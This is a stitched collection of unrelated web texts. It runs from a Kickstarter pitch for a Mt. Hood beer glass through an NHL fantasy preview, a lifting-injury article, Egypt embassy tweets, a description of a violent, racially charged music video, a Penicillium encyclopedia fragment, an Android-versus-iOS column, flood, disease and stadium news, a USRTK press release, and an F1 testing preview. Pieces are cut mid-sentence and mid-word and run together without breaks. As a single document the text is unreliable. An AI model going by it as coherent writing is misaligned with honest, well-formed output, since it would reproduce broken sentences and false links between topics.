Oregon Pint delivers an enhanced experience when enjoying a beer and swapping stories after a ride, a day on the hill, or when gathering with friends and family. Using United States Geological Survey (USGS) data (depicting ridges, canyons, and peak) a 3D model of Mt. Hood is integrated into the mold so your beer cascades around the mountain when you pour it into the glass. The Oregon Pint delivers a connection to the mountains that surround us, and the satisfying experience of drinking a local crafted beer out of a local crafted glass - all made here in Oregon. We love Oregon. We are fortunate this state produces many quality beverages -- water, wine, cider and, of course, beer. The beer scene in Oregon is amazing. Over 180 brewing companies operate over 225 brewing facilities in 71 cities around the state. Portland has the most breweries of any city in the world and Portland leads the US for the percentage of dollars spent on craft beer. We look forward to providing a premium product for an industry we personally support and one that thrives within our state. As we grow, we plan to offer glasses with a signature landmark in other states including, Washington, Vermont, California and Colorado. In making The Oregon Pint, we've combined modern technology with the old world craft of blowing glass to make a beautiful and relevant new product. With our design concept in place we took USGS topographical data of Mt. Hood and converted it to a digital 3D model. We then made 3D prints of our designs for design evaluation and prototyping. Once we were satisfied with our design, we created molds for our first blown glass prototypes. With our design finalized, we've ordered our first production mold and are almost ready to start production. 3D Prints in the garage to make prototype molds. Blowing the bubble into the glass. Forming the shape. Dropping the bubble into a plaster prototype mold. Flame polishing the lip. Blowing glass is a challenging and time-consuming process, requiring specialized equipment and a high level of skill. Thankfully, we have a great partner, Elements Glass, a world-class glass blowing studio based here in Portland. Throughout the prototyping and development process we worked closely with their team of experts and will continue to do so as we move forward. We've taken The Oregon Pint through multiple rounds of prototypes, refining our design and glass blowing technique. We have ordered our production tooling and with your support we will be able to ramp up production. In addition to our glasses we are offering a Kickstarter exclusive Mt. Hood Coaster. The ten-ply birch coasters are first cut using a CNC machine and then laser etched with USGS topographic data of Mt.Hood. Kickstarter Edition and Made in Oregon details. These coasters and handmade in Portland, OR, by our good friends at Shwood. North Drinkware and MadeHere PDX are forging a unique partnership to support The Oregon Pint on Kickstarter. At MadeHere PDX, the new store located on NW 10th and Couch in Portland, OR we have developed a Live on Kickstarter in-store display. During the campaign you can visit the design shop to see a prototype glass and talk with the knowledgable staff about North Drinkware and The Oregon Pint. When supporting The Oregon Pint with any dollar amount, you are funding: Our vision. After The Oregon Pint we plan to roll out glasses to other regions with a strong craft beer scene; Buying the expensive tooling and other necessary materials for glass production; Our first big run of glasses with the team at Elements Glass; and, Support to develop a strategy for large scale quality control, packaging, shipping and order management. North Drinkware is a team of three friends that together have over 30 years of experience in product design, engineering and marketing who live and work in Portland, Oregon. We all explore the mountains, coast, trails and rivers as much as possible. Originally, we came from the East Coast (Matt & Leigh) and from NorCal (Nic), but Oregon has become our home over the last decade. We bring expertise in design, development, production, marketing and communications, and look forward to leveraging all of our skills for North Drinkware. After many moves early in our careers we have started our families and built our communities within Oregon. Thank you for your support, and for sharing our project with your friends and family. Please contact us with any questions at info@northdrinkware.com Follow us to stay connected with North! Facebook Instagram Twitter Special thanks to Dustin Ortiz and Stone Crandall for the amazing product photography and Robinson Kuntz for the custom music track in our video.As part of NHL.com's offseason 30 in 30 package, fantasy hockey insiders Matt Cubeta and Pete Jensen will break down each team's fantasy landscape. They will look at the players at the top of the ranks, an undervalued player, an overvalued player, a deep sleeper (players likely ranked outside the top 200 overall players) and the goalie outlook for each NHL team. Leading the way: Joe Pavelski Pavelski is the only player League-wide with 70-plus points, a plus-10 or better, 30-plus power-play points and 200-plus shots on goal in each of the past two seasons. Even as his shooting percentage dipped from 2013-14 (18.2) to 2014-15 (14.2) and the San Jose Sharks missed the Stanley Cup Playoffs, his fantasy stock didn't waver. His versatility is well-documented with experience at each of the three forward positions and in all situations. If he falls to the third round of a fantasy draft, he should be your priority. SHARKS' FANTASY-RELEVANT PLAYERS Below is a list of the fantasy-relevant players in the San Jose Sharks organization. These players have been arranged by NHL.com's fantasy staff based on projected value and by position. These players range from top-tier assets to deep sleepers and should be on your radar in standard Yahoo leagues. FORWARDS Joe Pavelski Logan Couture Joe Thornton Patrick Marleau Tomas Hertl Melker Karlsson Joel Ward Tommy Wingels DEFENSEMEN Brent Burns (D/RW eligible in Yahoo) Paul Martin GOALIES Martin Jones Alex Stalock Red indicates newcomer to team Joe PavelskiLogan CoutureJoe ThorntonPatrick MarleauTomas HertlMelker KarlssonTommy WingelsBrent Burns (D/RW eligible in Yahoo)Alex Stalock MORE FANTASY HOCKEY STORIES › Undervalued: Joe Thornton Thornton was drafted on average with the 69th pick in Yahoo last season and finished 95th in its year-end rankings. His stock is low after posting his first minus campaign since 2000-01 in response to him being stripped of the Sharks' captaincy. He also hasn't had a 30-goal season since 2002-03 or a 200-SOG season since 2006-07. But once you reach rounds 8-10 of a fantasy draft, you're not going to find a more consistent distributor than Thornton. He led the Sharks in shot attempts relative (9.6) last season and finished with 49 assists (T-7th in NHL) and 65 points in a down season. He's another year older (36) and only carries center eligibility, but gets a fresh start under new coach Peter DeBoer and could easily bounce back to finish among the top 50 fantasy assets. Overvalued: Tomas Hertl Is Hertl a potential late-round steal with fantasy upside? Absolutely. But the fact he failed to hold a spot on either of the first two lines last season despite staying healthy for 82 games should be viewed as a major step back. His shooting percentage (15.3 to 9.0) and SOG per game (2.65 to 1.77) average dipped significantly from his 37-game rookie joyride to his sophomore slump, and there are no guarantees with a new coach in town. With the addition of Joel Ward, it may be even tougher for Hertl to land a top-six spot in 2015-16. Hertl's name value makes him appealing to most fantasy owners after round 10, but the 21-year-old is not worth taking before the 15th round in my opinion. Deep sleeper: Melker Karlsson Karlsson, recalled by the Sharks in December 2014, stuck with the club the rest of the way and finished tied for 81st in the League (eighth among rookies) in goals per 60 minutes (.95). He spent the majority of his even-strength ice time on Pavelski and Thornton's line in the second half and could gain more consistency in that spot with 53 games under his belt. Time will tell as we get closer to training camp, but using a late-round pick on this 25-year-old could pay sizable dividends. If Thornton sees the aforementioned rebound, a chunk of those assists could set up Karlsson. Goalie outlook: Martin Jones and Alex Stalock The Sharks traded Antti Niemi's rights before acquiring Martin Jones, whom they expect to contend for their starting job. Stalock, like Jones, had trouble earning time last season (22 games, 8-9-2, 2.62,.902) despite the Sharks missing the postseason and Niemi being a pending unrestricted free agent. With training camp on the horizon under a new coach, the momentum is with the younger Jones, 25, who had outstanding peripheral numbers (1.99 GAA,.923 SV% in 34 games) over two seasons as Jonathan Quick's backup. San Jose's defense is not nearly as strong as the Los Angeles Kings' and Jones lacks a substantial sample size, but still target Jones as the second or third goalie on your fantasy roster once components of respectable tandems (i.e. Andrew Hammond/Craig Anderson, Niemi/Kari Lehtonen, Petr Mrazek/Jimmy Howard) start going off the board. ---Here's what you need to know... Don't swap real training time for excessive foam rolling. It could make you more injury prone. Increase your aerobic capacity. If you fatigue too quickly while lifting, your form will suffer and increase your risk of injury. Set up for each lift and create tension in the body. Using lazy form, like relaxing in the bottom of a squat position, can make your lifts riskier. To avoid back injuries when deadlifting, use your lats and position your armpits over the bar at the start. Make sure your lats aren't tight, which can cause lower back pain. Take a day off. The pros do it, why shouldn't you? Redefining Fun Lifting weights isn't supposed to tickle. No one who's ever performed a set of 20-rep squats or worked up to true 1-rep max on the deadlift has ever thought to him or herself, "Wow, that was fun. Let's do it again!" If so, you're a sadistic bastard. And I want to hang out with you. It's well accepted that in order to make consistent progress in the gym – whether your goals are more strength related or aesthetic – you need to push the body to levels and extremes it's never been to before. Along the way your body is sometimes going to hate you. You tweak your knee one week, your shoulder flips you the middle finger after bench pressing on another week, and let's be honest: you haven't been DOMS-free since season one of Game of Thrones. It's all good. It comes with the territory. However, it's one thing to nix your squat session one day because your lower back is "a little tight," (you'll make up for it later in the week), and another thing altogether to be hurt and unable to train all the time. Some people always seem to be hurt. Whether they're doing programs too advanced, not getting the technique right, always training to failure, or not knowing the difference between discomfort and injury, the list goes on. Here are the lesser known reasons. Which one have you been overlooking? 1 – You're Foam Rolling Like It's Your Job Pet Peeve: Telling people I co-founded a gym and them following up with "So, like, what, a CrossFit gym?" Pet Peeve: Poodles. I just don't like them. Pet Peeve: People who live on a foam roller. Foam rolling is great. I do it myself, and I include it in just about every program I write for my clients and athletes. Tissue quality is important and foam rolling works. I don't know why it works, but it just does. That said, whenever I start working with an athlete with a history of injuries I'll often stand back and watch him warm-up. Almost always he'll spend a minimum of 30 minutes on the foam roller hitting every muscle with painstaking detail. Let's call it Delicate Flower Syndrome. Don't bother searching on PubMed. I made it up. Some people have gotten so used to being hurt and have been so programmed into thinking the foam roller will solve all their problems, that they've become gun-shy and apprehensive to actually train and lift weights. "They've gone corrective" is another term that's used for them. Use the foam roller, it's a tool, but if you find yourself spending more time with it than your significant other, you need to change your priorities. 2 – You Have No Aerobic Capacity Okay, deep breaths. Relax. No one is trying to steal your gainz and say you have to go out and run a half marathon. But a lack of work capacity (which ties into aerobic capacity) may be a reason why you're always hurt. Fatigue matters, and it will affect your performance when lifting – especially when training with high(er) reps. The sooner someone fatigues, the sooner technique is going to break down. And having poor aerobic conditioning is going to be a factor, even if you're a powerlifter. Developing a base level of aerobic work – sled/Prowler, repeated tempo runs, Airdyne, mobility/movement circuits – during the week has value. Not only will you improve your conditioning and help to offset technique breakdowns, but it will also aid in overall recovery, assuming you don't overdo things. And if you don't believe that aerobic conditioning has its place, just take look at coaches like Alex Viada who, on top of having elite level numbers in powerlifting (705 squat, 465 bench press, 700 deadlift) can also run a 4:15 mile while also competing in triathlons and Ultra Marathons. And he's jacked. It may take some finagling on the programming side of things, but there's no reason why most lifters, most of the time, couldn't include some form of aerobic work 1-2 times per week. Don't worry, guys, you can keep your man card. 3 – You Lack Tension Going back to the whole technique breaking down point, most of the time you can attribute it to one thing: a really poor set-up.While Egyptian protesters battled security forces outside the US embassy on Thursday morning, another standoff was taking place -- this time in cyberspace. The Muslim Brotherhood's official English-language Twitter account @Ikwanweb reposted a message from the group's deputy head, Khairat El-Shater, saying he was "relieved none of @USembassycairo staff was hurt" and expressing his hope that US-Egypt relations could weather the events. This reconciliatory tweet, however, was posted while the Brotherhood's Arabic-language Twitter account and its official website were both praising the protests -- staged against a US-made film judged defamatory towards Islam -- and calling for a million man march on Friday. One Arabic language article on the Brotherhood's site sported the headline 'Egyptians rise to defend the Prophet'. Noting the contradiction, the US Embassy in Cairo tweeted a tart response from its own account: "Thanks. By the way, have you checked out your own Arabic feeds? I hope you know we read those too." Seemingly stung, the Brotherhood replied some 20 minutes later, saying "we understand you're under a lot of stress, but it will be more helpful if you point out exactly the Arabic feed of concern." They were just three tweets, but they provided a snapshot into the strains US-Egypt relations are under this week. It took President Mohamed Morsi more than two days to officially condemn the breaching of Cairo's US Embassy grounds by angry protesters. US President Barack Obama on Wednesday said that Egypt is neither an ally nor an enemy of the United States. "I don't think that we would consider them an ally, but we don't consider them an enemy," Obama said in excerpts of an interview with Telemundo aired by MSNBC. "And if they take actions that indicate they're not taking those responsibilities, as all other countries do where we have embassies, I think that's going to be a real big problem." Short link:Florida rapper and alleged serial abuser XXXTentacion has released a new racially-charged music video for his song Look at Me, addressing alleged police brutality and racism. In the video, XXXTentacion is disturbingly depicted hanging a white child in front of a black boy. The video begins with a group of students starting a riot in a classroom and beating the hell out of a white teacher with dildos. "Can't keep my d* in my pants," brags the rapper. The lyrics and video then reference the murder of Emmett Till — a black teenager castrated and murdered for allegedly whistling at a white woman — the recent fatal police shooting of Philando Castile, LA officers beating Rodney King, and the death of Heather Heyer at a neo-Nazi rally in Charlottesville, Virginia, last month. XXXTentacion is then seen walking two children, one white and one black, toward a noose. He then hangs the white boy in front of the black child. The Floridian also unleashes a mix of racially-charged and violent lyrics, some of which scold Black Lives Matter rioters for trashing local businesses: “Look at all the stores you wreckin’ — N*a I
ophores are at the end of each branch accompanied by green spherical constricted units called conidiospores. These individual units play a significant role in reproduction; conidiospores are the main dispersal route of the fungi. Sexual reproduction involves the production of ascospores, commencing with the fusion of an archegonium and an antheridium, with sharing of nuclei. The irregularly distributed asci contain eight unicellular ascospores each. Ecology [ edit ] Species of Penicillium are ubiquitous soil fungi preferring cool and moderate climates, commonly present wherever organic material is available. Saprophytic species of Penicillium and Aspergillus are among the best-known representatives of the Eurotiales and live mainly on organic biodegradable substances. Commonly known in America as molds, they are among the main causes of food spoilage, especially species of subgenus Penicillium.[8] Many species produce highly toxic mycotoxins. The ability of these Penicillium species to grow on seeds and other stored foods depends on their propensity to thrive in low humidity and to colonize rapidly by aerial dispersion while the seeds are sufficiently moist.[9] Some species have a blue color, commonly growing on old bread and giving it a blue fuzzy texture. Some Penicillium species affect the fruits and bulbs of plants, including P. expansum, apples and pears; P. digitatum, citrus fruits;[10] and P. allii, garlic.[11] Some species are known to be pathogenic to animals; P. corylophilum, P. fellutanum, P. implicatum, P. janthinellum, P. viridicatum, and P. waksmanii are potential pathogens of mosquitoes.[12] P. marneffei, which causes mortality in the Vietnamese bamboo rats, has become a common opportunistic infection of HIV-infected individuals in southeast Asia.[13] Penicillium species are present in the air and dust of indoor environments, such as homes and public buildings. The fungus can be readily transported from the outdoors, and grow indoors using building material or accumulated soil to obtain nutrients for growth. Penicillium growth can still occur indoors even if the relative humidity is low, as long as there is sufficient moisture available on a given surface. A British study determined that Aspergillus- and Penicillium-type spores were the most prevalent in the indoor air of residential properties, and exceeded outdoor levels.[14] Even ceiling tiles can support the growth of Penicillium—as one study demonstrated—if the relative humidity is 85% and the moisture content of the tiles is greater than 2.2%.[15] Some Penicillium species cause damage to machinery and the combustible materials and lubricants used to run and maintain them. For example, P. chrysogenum (formerly P. notatum), P. steckii, P. cyclopium, and P. nalgiovensis affect fuels; P. chrysogenum, P. rubrum, and P. verrucosum cause damage to oils and lubricants; P. regulosum damages optical and protective glass.[16] Economic value [ edit ] Core structure of penicillin Griseofulvin Several species of the genus Penicillium play a central role in the production of cheese and of various meat products. To be specific, Penicillium molds are found in Blue cheese. Penicillium camemberti and Penicillium roqueforti are the molds on Camembert, Brie, Roquefort, and many other cheeses. Penicillium nalgiovense is used in soft mold-ripened cheeses, such as Nalžovy (ellischau) cheese, and to improve the taste of sausages and hams, and to prevent colonization by other molds and bacteria.[17][18] In addition to their importance in the food industry, species of Penicillium and Aspergillus serve in the production of a number of biotechnologically produced enzymes and other macromolecules, such as gluconic, citric, and tartaric acids, as well as several pectinases, lipase, amylases, cellulases, and proteases. Some Penicillium species have shown potential for use in bioremediation, more specifically mycoremediation, because of their ability to break down a variety of xenobiotic compounds.[19] Penicillium also prevents bacteria from affecting the body.[citation needed] The genus includes a wide variety of species molds that are the source molds of major antibiotics. Penicillin, a drug produced by P. chrysogenum (formerly P. notatum), was accidentally discovered by Alexander Fleming in 1929, and found to inhibit the growth of Gram-positive bacteria (see beta-lactams). Its potential as an antibiotic was realized in the late 1930s, and Howard Florey and Ernst Chain purified and concentrated the compound. The drug's success in saving soldiers in World War II who had been dying from infected wounds resulted in Fleming, Florey and Chain jointly winning the Nobel Prize in Medicine in 1945.[20] Griseofulvin is an antifungal drug and a potential chemotherapeutic agent[21] that was discovered in P. griseofulvum.[22] Additional species that produce compounds capable of inhibiting the growth of tumor cells in vitro include: P. pinophilum,[23] P. canescens,[24] and P. glabrum.[24] Reproduction [ edit ] Although many eukaryotes are able to reproduce sexually, as much as 20% of fungal species had been thought to reproduce exclusively by asexual means. However recent studies have revealed that sex occurs even in some of the supposedly asexual species. For example, sexual capability was recently shown for the fungus Penicillium roqueforti, used as a starter for blue cheese production.[25] This finding was based, in part, on evidence for functional mating type (MAT) genes that are involved in fungal sexual compatibility, and the presence in the sequenced genome of most of the important genes known to be involved in meiosis. Penicillium chrysogenum is of major medical and historical importance as the original and present-day industrial source of the antibiotic penicillin. The species was considered asexual for more than 100 years despite concerted efforts to induce sexual reproduction. However, in 2013, Bohm et al.[26] finally demonstrated sexual reproduction in P. chrysogenum. Penicillium marneffei, an AIDS-associated pathogen, was also previously assumed to reproduce exclusively by asexual means. This assumption was largely based on the highly clonal population structure of this species. However, recent work has revealed that the genes required for meiosis are present in P. marneffei.[27] This and other evidence indicated that mating and genetic recombination does occur in this species. It was concluded that P. marneffei is sexually reproducing, but recombination is most likely to occur across spatially and genetically limited distances in natural populations resulting in a highly clonal population structure.[27] These findings with Penicillium species are consistent with accumulating evidence from studies of other eukaryotic species that sex was likely present in the common ancestor of all eukaryotes.[28][29] Furthermore, these recent results suggest that sex can be maintained even when very little genetic variability is produced.If you live in the Silicon Valley echo chamber, nothing has been hotter lately than the Android/iPhone smackdown. It's been an amazing year so far for Apple. It introduced the iPad and a new iPhone, and the company can't make either device fast enough to satisfy demand. It's been an equally impressive year for Google's Android, however. Last week Google reported that Android was in 40 countries and on 40 carriers. It said the Android App store now had in excess of 75,000 offerings, and it repeated an astonishing statistic first offered up in June: 160,000 Android smartphones were being activated each day. The fight between Google and Apple is not over phones. It's a software-platform war.We in the media had a field day with this data, especially in the wake of Apple's real but overhyped issues with the iPhone 4's new antenna. Do the math and you get 4.8 million Android phones a month, 20 percent more than Apple's astonishing iPhone 4 sales. The evidence seemed clear. A year ago, Android looked like it would never catch the iPhone. Now, it was overtaking it. Sure, the Android app store has a quarter the offerings of the Apple app store, but the growth in new apps and activations has been astonishing in the last few months. Back in March, Google was activating only 1.8 million Android handsets a month and its store had only 30,000 apps. An instant poll at Fortune's tech conference last week asked: "Who would have the dominant smart phone in five years?" The verdict was clear: 57 percent picked Android; 37 percent picked iPhone. "You know, I heard that the most popular voice message on iPhone4 was, 'Sorry I can't answer your call, because I am holding my phone.' I don't think this is an issue with Droid X," said SanJay Jha, Motorola's CEO at last week's Fortune technology conference. It was meant in jest; but, the underlying point – Android is better – was not. The trouble with this horse race, however, is that one horse's progress is being measured in meters while the other is being measured in yards. The comparison between Android and the iPhone is meaningless. The true comparison is between Android and iOS, Apple's mobile operating system. Android's activation numbers are not device dependent. Apple's shouldn't be either. If we are going to truly compare the two mobile OSs we need to include sales of iPads and iPod Touches. Add them into the mix and the data shows that Android is catching up but still isn't close. Here's the math: I think we can all agree that Apple is selling iPhones at a rate of 4 million a month. Add the 1 million iPads/month Apple is selling and another 1.85 million/month as a guestimate for iPod Touch sales and you get... wait for it... 6.85 million iOS devices a month, or 42 percent more than Android. Apple doesn't consistently provide iPod Touch numbers, but over the years it has provided enough data to make an educated guess. Conclusion: iPod Touch sales have conservatively run about two-thirds of iPhone sales. If Apple sold 8.4 million iPhones last quarter, that means it sold 5.5 million iPod Touches, or 1.85 million a month. I'm not minimizing the Android challenge to Apple. Indeed, I think it is likely to become the most important business battle of the next half decade. But those who argue that the best lens for watching this fight is comparing just the iPhone to Android are just wrong. Their argument is that all Android devices are phones, that the iPod Touch and the iPad are not phones. The trouble with this reasoning is that the fight between Google and Apple is not over phones. It's a software platform war. The fight is over who will create the most powerful ecosystem of developers, users and mobile devices. Indeed, the reason the fight has gotten so nasty is because history tells us that in such a fight, one platform typically dominates the market (see Microsoft vs. Apple and IBM, eBay vs. Yahoo Auctions and Auction Universe, Google vs. Yahoo and Microsoft). There will be a lot to disagree on in the coming months as this battle plays out. Is this a repeat of the Apple-Microsoft fight 25 years ago? Will phones and tablets eclipse PCs and TVs as our primary device for work and fun? Will Silicon Valley eclipse New York and Hollywood as a media center? But let's get our numbers right. Fred Vogelstein is writing a book about the intersection of media and tech in Silicon Valley. Follow him on Twitter @fvogelstein and Epicenter on @epicenterblog. See Also:— Regina Saunders watched the water creeping up her street Thursday night but thought there was no chance Mother Nature would strike twice in just a few days. "I said, ‘nuh uh,’ this is not happening gain,” the Holsman Street resident said. But this morning the water rushed in from the Passaic River, inundating street signs up and down the block and leaving her home submerged in three feet of water. Panicked, she yelled for help. A neighbor called the fire department and minutes later, firemen rescued her along with nine others on the block. The river’s rising waters have wreaked havoc in Paterson, closing roads, schools and bridges; flooding entire neighborhoods in the state’s third most populous city; and, just today, canceling the city’s 9/11 commemorative ceremonies. Flood-weary residents, though, have been hesitant to leave. Many have just started getting home repairs on track and electricity on-line, only to see the familiar brown water drown out their efforts. The Passaic will crest about 2 a.m. Saturday morning, according to Passaic County’s office of emergency management. Thursday night, about a dozen people were evacuated from riverside homes. Today rescue efforts continued for those who chose to stay. The Vargas family sat on their Watson Street front porch this morning sipping on orange soda and snacking on Cheerios. "We're still here," said Muris Vargas, 48, of herself, her three daughters and her husband. "The car’s packed. We're ready to evacuate if we need to." Muris wasn't able to get her daughters to school Thursday because of flooding in their neighborhood. The family agrees it's the lack of electricity that's the most difficult obstacle to endure. They've been without power since Aug 27, when Hurricane Irene was churning toward Paterson. "They said, ‘you need a new electric panel,’ so my husband replaced it. We called on Tuesday and they said they were expecting more flooding so no one was getting turned on." The most recent flooding covered the new electric panel. That one will now need to be replaced. In the meantime, black plastic bags hold bread, cookies and cereal. A cooler is stocked with drinks and there are plenty of flashlights on hand. "I've cried so much and stressed so much but we're being strong and hanging in,” she said. Jim Haggins is an electrical inspector for the city of Paterson. Lately, that makes him one of the most unpopular people in town. If water reaches a home's electric panel, the owner or landlord has to bring in an electrician for repairs, which then get inspected by the city. The power company is next to be called, Haggins explained. Many people just got power back at the beginning of the week, only to get it turned off again after the most recent flood. "We get called every name in the book," he said. "But I understand a lot of people spent a lot of money and now they're out again." Related Coverage: • •Since the outbreak that gave Legionnaires’ disease its name nearly four decades ago, water-cooling towers have been identified as prime breeding grounds for the deadly disease. But even as cases have increased across the nation, and experts have called for more safeguards, New York City has done little to address the risks the towers pose as they power air-conditioning systems in many large buildings. Now, as New York faces the largest outbreak of Legionnaires’ disease in the city’s history, Mayor Bill de Blasio and other officials are trying to marshal a more aggressive approach to the disease and to quell concerns raised by seven Legionnaires’ deaths since July 10, all of them in the South Bronx. At a news conference on Tuesday in the Bronx, the mayor said that the total number of cases had risen to 86 and that more cases were expected to be reported, though the outbreak appeared to be ebbing.This shouldn't be too hard to find. Showtime's "Shameless" will return to Chicago to film exterior scenes Nov. 5 to 11 and is in need of extras for a tailgating scene at Soldier Field, according to Atmosphere Casting of Chicago’s Facebook page. The dramedy, starring William H. Macy and Emmy Rossum, also needs extras for a flash mob scene at the University of Illinois at Chicago. Click here for details. If you recently bought or about to buy a restaurant in Chicago, Food Network might be interested in filming your business as it gets off the ground. Click here for details. And as a reminder, “Food Network Star,” will be casting Nov. 16 at the Westin Michigan Avenue Chicago hotel. The show is searching for applicants who have a creative and unique food perspective. The winner will get his or her own Food Network series. Click here for details. lgomez@tribune.com \| Twitter @TribLuis0 9 Investigates city board's concerns over larger Orlando soccer stadium ORLANDO, Fla. - As crews pour the foundation for the new Orlando City Soccer Club stadium, Channel 9 has learned there could be a delay in the construction process. The team wants its new stadium in the Parramore area of the city to be bigger than originally proposed. That will dramatically change the appearance of the stadium. Investigative reporter Daralene Jones has learned a city advisory board questions whether the new design fits in with the historic neighborhood. The Orlando City Soccer Club stadium, already under construction, was supposed to seat 19,000, but in May, with much fanfare, the city announced the privately funded stadium will seat 25,000 fans. That plan is not OK with some community members. “You didn't think the community would fight back, and we're saying we've had enough,” said resident Lawanna Gelzer. Orlando's Appearance Review Board is also raising concerns about how the additional seating capacity will change the look of the stadium, and expressed concerns about a canopy that would hang over Church Street. The advisory board has a say in the appearance of all city projects. “You're trying to put a size 13 shoe in a 9 box. It doesn't fit, it's way too much. It really encroaches up against the streets, all the way around,” one board member said during a November meeting. “I'm really concerned about what this does to the Parramore neighborhood, and as some of you said, it really doesn't. It is not a welcoming facility to be plopped right in the middle of a residential, historic neighborhood," another member said at the meeting. The city provided a copy of a comprehensive plan from two years ago that identified opportunities for redevelopment and contains traffic and transportation studies that officials said focuses on the impact to the neighborhood. In a September memo, the city planning division determined the project complies with city code. However, the design amendments require approval from the appearance review board. The advisory board now wonders whether its decision carries any weight with the City Council, which has the final say. “We disapproved something on Orange Avenue, and then it was overturned by the City Council,” said one board member. Jones was told the city is hoping to get the stadium item back on the Appearance Review Board agenda in January, in hopes it doesn't slow down construction. The stadium is expected to be finished next summer. Orlando City Soccer Club officials said they are working with the design firm and the advisory council to incorporate Parramore’s heritage into the stadium’s design. They said they do not expect any construction delays. © 2019 Cox Media Group.News Release For Immediate Release: Monday, March 30th, 2015 For More Information Contact: Gary Ruskin (415) 944-7350 USRTK Calls for Investigation of Monsanto Cover Up, Harassment of USDA Scientists U.S. Right to Know sent letters today to the chairs and ranking members of the U.S. Senate and House Agriculture Committees, and to the Inspector General of the U.S. Department of Agriculture, requesting an investigation of a possible cover up for Monsanto, and whether USDA scientists are being harassed when their work runs counter to the interests of the agrichemical industry. The letters are in reaction to a March 27 Reuters article that, according to Public Employees for Environmental Responsibility, “some scientists working for the federal government are finding their research restricted or censored when it conflicts with agribusiness industry interests….at least 10 USDA scientists have been investigated or faced other consequences arising from research that called into question the safety of certain agricultural chemicals….Research into glyphosate, the key ingredient in Monsanto’s Roundup herbicide, and neonicotinoid insecticides, which have been linked to honey bee and monarch butterfly endangerment, face particular scrutiny…” “If true, this is a major scandal at USDA. It is not the proper role of the USDA to engage in a cover up for Monsanto or other agrichemical companies,” wrote Gary Ruskin, executive director of consumer advocacy group U.S. Right to Know. “It is intolerable that the agribusiness and agrichemical should be able to interfere with USDA scientists and their work. Those scientists work for the public, not Monsanto nor the agrichemical industry. They must be fully insulated from the political pressure of the agribusiness and agrichemical industries. It is crucial to the public interest that they do their work without industry harassment or obstruction. The integrity of the USDA is at stake.” The letters urged the House and Senate Agriculture Committees and the USDA Inspector General to conduct full and thorough investigations into corporate interference with USDA scientists, to publicly release any evidence of industry interference with USDA scientists, and to ensure that such interference never happens again. In January, U.S. Right to Know released a report – titled Seedy Business — on the chemical and food industry’s $100 million campaign to keep consumers in the dark about genetically engineered food: how they manipulated the media, public opinion, science and politics. U.S. Right to Know is a new nonprofit food organization that investigates and reports on what food companies don’t want us to know about our food. For more information, please see our website at usrtk.org. See today’s letters from U.S. Right to Know. See the Public Employees for Environmental Responsibility’s news release, “USDA Urged to Shield Its Scientists from Harassment.” -30-Long have us Formula 1 fans waited for this. At the moment of writing, it has been exactly 90 days since the flag dropped in Abu Dhabi, which saw Nico Rosberg crowned World Driver’s Champion, snatching the title from his teammate Lewis Hamilton who had won the previous years and was the favourite to take the title in 2016 by a mile. In these 90 days, us fans have eagerly been waiting for this moment to arrive. The moment when the newly developed cars take to the track to prepare for the upcoming 2017 season, next monday in Barcelona. As we look ahead to the coming season, I will also look back at what happened in these three months when F1 was on hiatus, and do a little math on what to expect from the next few weeks of testing. The 2017 Off-Season overview. On the 27th of November at around 18:30 local time (GMT+4), the final lap of the Abu Dhabi Grand Prix was completed. While Lewis Hamilton took the checkered flag first, it was his teammate Nico Rosberg who had the biggest smile on the podium as his second place finishing position guaranteed him to win the 2016 WDC trophy. This promptly led Rosberg to retire from racing, having achieved the goals he set out to achieve as a young kid. Rosberg’s sudden departure led to a chain reaction started by the frantic search for Hamilton’s new teammate, which was ultimately found in Valtteri Bottas. In turn, Bottas departure from the Williams F1 team prompted his retired teammate Felipe Massa to return from his own retirement, which had only lasted for 50 days. Sadly, this off-season saw Manor Racing go bankrupt, and the outfit which entered the sport in 2010 failed to find a buyer. While they did have the design for their new car largely completed, 2017 will see the grid be reduced once again to ten teams, fielding a total of twenty drivers. The 2017 Drivers. Other driver’s changes saw Pascal Wehrlein being confirmed at Sauber, replacing Felipe Nasr who had lost his Banco do Brasil sponsorship money meaning that he could not continue paying for his seat at the struggling-for-money outfit. Nico Hülkenberg switched from Force India to Renault, citing the opportunity to drive for a ‘works’-team (team with official backing from a car/engine manufacturer) was too tempting. This meant that Wehrlein’s former teammate at the now defunct Manor team and fellow Mercedes-junior Esteban Ocon gets to drive the number two car at Force India. As was widely known for about a year, Vandoorne will replace the retired Jenson Button at McLaren, having previously scored a point for the team in Bahrain after Alonso’s big crash in the 2016 Australian Grand Prix forced him to sit out the second race of the season. Gutièrrez was replaced by Magnussen at Haas, while 18-year-old Lance Stroll will get to prove his worth alongside Felipe Massa at Williams. The 2017 Cars. At the time of writing, seven out of the ten competing teams have presented their cars, the rest are assumed to present their car tomorrow. There were some gripping regulation changes regarding the design of the car, which means that (unlike last year) the cars look remarkably different. Lower rear wings, sharkfins, T-wings, and weird intricate design-stuff happening around the sidepods. The first to unveil pictures of their car was Sauber last monday, followed by Renault on tuesday, Force India on wednesday, Mercedes on thursday, and Ferrari and McLaren on friday. Today, Williams showed their 2017 competitor, having previously shared digital renders of their car last week. This means we can now have a nice overview with added pictures of their new cars: Team Car Engine 1st driver 2nd driver Mercedes AMG Petronas W08 Mercedes Lewis Hamilton (HAM) Valtteri Bottas (BOT) Red Bull Racing RB13 Renault Daniel Ricciardo (RIC) Max Verstappen (VES) Scuderia Ferrari SF70-H Ferrari Sebastian Vettel (VET) Kimi Raikkonen (RAI) Sahara Force India F1 VJM10 Mercedes Sergio Perez (PER) Esteban Ocon (OCO) Williams Martini Racing FW40 Mercedes Felipe Massa (MAS) Lance Stroll (STR) McLaren Honda MCL32 Honda Fernando Alonso (ALO) Stoffel Vandoorne (VAN) Scuderia Toro Rosso STR12 Renault Daniil Kvyat (KVY) Carlos Sainz Jr. (SAI) Haas F1 Team VF-17 Ferrari Romain Grosjean (GRO) Kevin Magnussen (MAG) Renault RS17 Renault Nico Hülkenberg (HUL) Jolyon Palmer (PAL) Sauber F1 Team C36 Ferrari Marcus Ericsson (ERI) Pascal Wehrlein (WEH) 2017 Pre-Season Testing Pre-season testing will consist of two periods of four days in which teams will get the chance to test their car on the Barcelona circuit, aptly named Circuit de Barcelona-Catelunya. The first period will start February 27th and will finish March 2nd, while the second period will start March 7th and will run through March 10th. The first week will almost exclusively be used by the teams to test the car and engine itself and gathering data on its on-track behaviour. The second week will be used to improve upon the first week’s data by altering aerodynamic elements on the car, engine and/or gearbox settings, etc. In these two weeks, teams will have their cars do approximately a 1000 laps. This is about 4500km on the 4.5km track, or 3000 miles. Each team is allowed to run one car per day from 09:00 to 13:00, and from 14:00 to 18:00 (local time, CET), which means most 